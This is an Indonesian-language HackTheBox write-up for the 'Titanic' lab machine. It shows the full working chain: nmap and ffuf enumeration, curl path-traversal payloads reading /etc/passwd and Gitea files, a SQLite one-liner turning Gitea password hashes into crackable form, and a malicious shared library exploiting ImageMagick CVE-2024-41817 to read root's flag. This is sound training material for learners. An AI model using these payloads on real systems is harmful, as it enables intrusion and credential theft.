Skip to content
Home » Titanic — HackTheBox Writeup

Titanic — HackTheBox Writeup

  • Writeup

Halo semuanya, pada kali ini gw akan membahas mesin seasonal minggu ini dari hackthebox, yaitu titanic.

Enumerasi Awal

Seperti biasa, yang akan kita lakukan adalah melakukan scanning pada ip dengan menggunakan nmap:

└─#  nmap -sSCV -O -A 10.10.11.55 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-20 11:58 EST
Nmap scan report for 10.10.11.55
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)

Disini kita dapatkan ada 2 port yang terbuka. Kita akan buka http://titanic.htb setelah menambahkan entri DNS ke file hosts.

Subdomain Enumeration

Selanjutnya kita akan melakukan virtual host enumeration dengan menggunakan ffuf:

└─# ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://titanic.htb/ -H  "Host:FUZZ.titanic.htb" -fc 301  

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.titanic.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 24ms]

Disini kita dapatkan subdomain dev. Ketika dibuka, kita menemukan repository developer yang mengandung app.py.

Eksploitasi Path Traversal

Setelah menganalisis kode dengan bantuan ChatGPT, terdeteksi bahwa app.py vulnerable terhadap path traversal. Kita akan coba pada targetnya:

└─# curl --path-as-is http://titanic.htb/download?ticket=../../../etc/passwd

Ya benar saja, kita bisa mengakses file /etc/passwd dan mendapatkan daftar user sistem.

Selanjutnya kita akan cari dimana configurations file biasanya berada pada gitea, ternyata ada pada direktori /data/gitea/conf/app.ini:

└─# curl --path-as-is http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/conf/app.ini

Dari konfigurasi tersebut, kita menemukan lokasi database SQLite di path /home/developer/gitea/data/gitea/gitea.db.

Sebelum itu, kita bisa mengambil flag user:

curl --path-as-is http://titanic.htb/download?ticket=../../../home/developer/user.txt

Ekstraksi Credentials

Setelah mengunduh gitea.db, kita ekstrak hash password menggunakan SQLite:

└─# sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes

administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

Disini kita akan langsung crack hashnya menggunakan hashcat dan berhasil mendapatkan password untuk user developer.

User Access

Setelah berhasil login sebagai developer via SSH:

developer@titanic:~$ whoami
developer
developer@titanic:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)

Eskalasi Priviledge

Selanjutnya kita akan coba lihat writeable direktori dari target dan didapatkan ada direktori /opt/scripts yang menarik. Di dalamnya terdapat file identify_images.sh:

developer@titanic:/opt/scripts$ cat identify_images.sh 
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

Disini terlihat ada automate script yang berjalan setiap beberapa menit. Kita cek versi ImageMagick:

developer@titanic:/opt/scripts$ /usr/bin/magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org

Berdasarkan versinya, ImageMagick tersebut vulnerable terhadap CVE-2024–41817. Kita akan exploit dengan membuat library berbahaya:

developer@titanic:/opt/scripts$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /root/root.txt root.txt; chmod 754 root.txt");
    exit(0);
}
EOF

Lalu kita pindah ke working directory script dan tunggu sampai script berjalan:

developer@titanic:/opt/app/static/assets/images$ ls
entertainment.jpg     favicon.ico  home.jpg           metadata.log  root.txt
exquisite-dining.jpg  hey          luxury-cabins.jpg  mylib.c       test.jpg
developer@titanic:/opt/app/static/assets/images$ cat root.txt 
fa139d2ccf0f7d6f387dae1518969662

Dan boom! Kita dapatkan root flagnya!

Leave a Reply

Your email address will not be published. Required fields are marked *